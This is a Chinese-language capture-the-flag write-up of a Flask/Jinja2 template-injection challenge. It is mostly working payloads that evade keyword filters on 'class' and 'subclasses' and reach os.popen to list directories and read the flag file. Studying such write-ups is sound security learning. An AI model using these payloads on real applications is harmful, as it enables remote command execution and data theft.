考察SSTI注入,确实是题刷少了,之前也没写过这种题,对于这种类型的题目不熟悉,完全没反应过来,拿到题目有点懵逼,不晓得要干啥
看过几篇文章后,再次尝试做题
flask之ssti模版注入从零到入门
前面失败的尝试:
首先尝试拿到当前类,发现被过滤了
?name={{"".__class__}}
二分法尝试,看看哪个被过滤了,发现 {{ 和 class 都被过滤了,将它们绕过
?name={%print(""['__cla''ss__'])%}
继续 ?name={%print(""['__cla''ss__'].__bases__[0])%} 可以成功
继续 ?name={%print(""['__cla''ss__'].__bases__[0].__subclasses__())%} ,
又被过滤了,应该是subclasses
重新构造绕过subclasses,还是会报错,不晓得为啥
?name={%print(""['__cla''ss__'].__bases__[0].['__su''bcla''sses__']())%}
尝试了一番,字符拼接好像绕不过,重新换一种方法
{%print(().__getattribute__('__claAss__'.replace("A","")))%} (这个可以执行)
{%print(""['__cla''ss__'].__bases__[0].__getattribute__('__suAbclaAsses__'.replace("A","")))%}
(但是这个却不能执行,浏览器会报错,不知道为啥)
使用join拼接绕过
?name={%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__bas=1,e__=2)|join%}{%set c=dict(__su=1,bcla=2,sses__=3)|join%}{%print(()|attr(a)|attr(b)|attr(c)())%} 成功回显
?name={%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__bas=1,e__=2)|join%}{%set c=dict(__su=1,bcla=2,sses__=3)|join%}{%set f=dict(__geti=1,tem__=2)|join%}{%print(()|attr(a)|attr(b)|attr(c)()|attr(f))%}
?name={%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__bas=1,e__=2)|join%}{%set c=dict(__su=1,bcla=2,sses__=3)|join%}{%set f=dict(__geti=1,tem__=2)|join%}{%print(()|attr(a)|attr(b)|attr(c)()|attr(f)(133))%} (有点离谱了,好像要一个一个找,不会写脚本的痛苦)
?name={%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__bas=1,e__=2)|join%}{%set c=dict(__su=1,bcla=2,sses__=3)|join%}{%set f=dict(__geti=1,tem__=2)|join%}{%set d=dict(__in=1,it__=2)|join%}{%print(()|attr(a)|attr(b)|attr(c)()|attr(f)(117))%}
(真是找了好久,离谱)
?name={%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__bas=1,e__=2)|join%}{%set c=dict(__su=1,bcla=2,sses__=3)|join%}{%set f=dict(__geti=1,tem__=2)|join%}{%set d=dict(__in=1,it__=2)|join%}{%set d=dict(__in=1,it__=2)|join%}{%set e=dict(__glo=1,bals__=2)|join%}{%print(()|attr(a)|attr(b)|attr(c)()|attr(f)(117)|attr(d)|attr(e))%}
?name={%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__bas=1,e__=2)|join%}{%set c=dict(__su=1,bcla=2,sses__=3)|join%}{%set d=dict(__in=1,it__=2)|join%}{%set e=dict(__glo=1,bals__=2)|join%}{%set f=dict(__geti=1,tem__=2)|join%}{%set g=dict(po=1,pen=2)|join%}{%set s=lipsum|string|list|attr(f)(9)%}{%set p=(dict(ls=1)|join,s)|join%}{%set r=dict(re=1,ad=2)|join%}{%print(()|attr(a)|attr(b)|attr(c)()|attr(f)(117)|attr(d)|attr(e)|attr(f)(g)(p)|attr(r)())%}
相当于
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read()}}
列出来了目录,但是 cat 不了里面的内容,有点奇怪,可能又是哪里格式写错了,还是思路压根就不对啊,尝试了好久,还是不会,没办法,又得换一个方法
?name={%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__bas=1,e__=2)|join%}{%set c=dict(__su=1,bcla=2,sses__=3)|join%}{%set d=dict(__in=1,it__=2)|join%}{%set e=dict(__glo=1,bals__=2)|join%}{%set f=dict(__geti=1,tem__=2)|join%}{%set g=dict(po=1,pen=2)|join%}{%set s=lipsum|string|list|attr(f)(9)%}{%set p=(dict(cat=1)|join,s,dict(app.py))|join%}{%set r=dict(re=1,ad=2)|join%}{%print(()|attr(a)|attr(b)|attr(c)()|attr(f)(117)|attr(d)|attr(e)|attr(f)(g)(p)|attr(r)())%}
能够成功的方式:
后面问了学长后,发现确实是走弯了路,就是用字符串拼接就可以成功,是一道很简单的题,
前面字符串拼接没成功就是因为格式搞错了
前面的错误格式:
?name={%print(""['__cla''ss__'].__bases__[0].['__su''bcla''sses__']())%}
(在__base__[0] 后面多加了个点,所以才报错的)
正确的格式:
?name={%print(""['__cla''ss__'].__bases__[0]['__su''bcla''sses__']())%}
或者
?name={%print(""['__cla''ss__'].__base__['__su''bcla''sses__']())%}
或者
?name={%print(""['__cla''ss__']['__ba''se__']['__su''bcla''sses__']())%}
?name={%print(""['__cla''ss__']['__ba''se__']['__su''bcla''sses__']()[117])%}
(找到 <class 'os._wrap_close'> 这个类)
?name={%print(""['__cla''ss__']['__ba''se__']['__su''bcla''sses__']()[117]['__in''it__']['__glo''bals__'])%}
(初始化,再获取所有的方法和属性)
?name={%print(""['__cla''ss__']['__ba''se__']['__su''bcla''sses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('ls').read())%}
(之前用前面那个没成功的方法,也是走到了这一步,但是读不了根目录,也不能够 cat 到当前目录的文件,不知道为什么, 但这个可以读取到根目录,也能 cat 到文件)
?name={%print(""['__cla''ss__']['__ba''se__']['__su''bcla''sses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('ls /').read())%}
(列出根目录)
?name={%print(""['__cla''ss__']['__ba''se__']['__su''bcla''sses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('cat /fl*').read())%}
(得到flag,本是一道简单的题,被我硬生生搞得这么复杂!!!)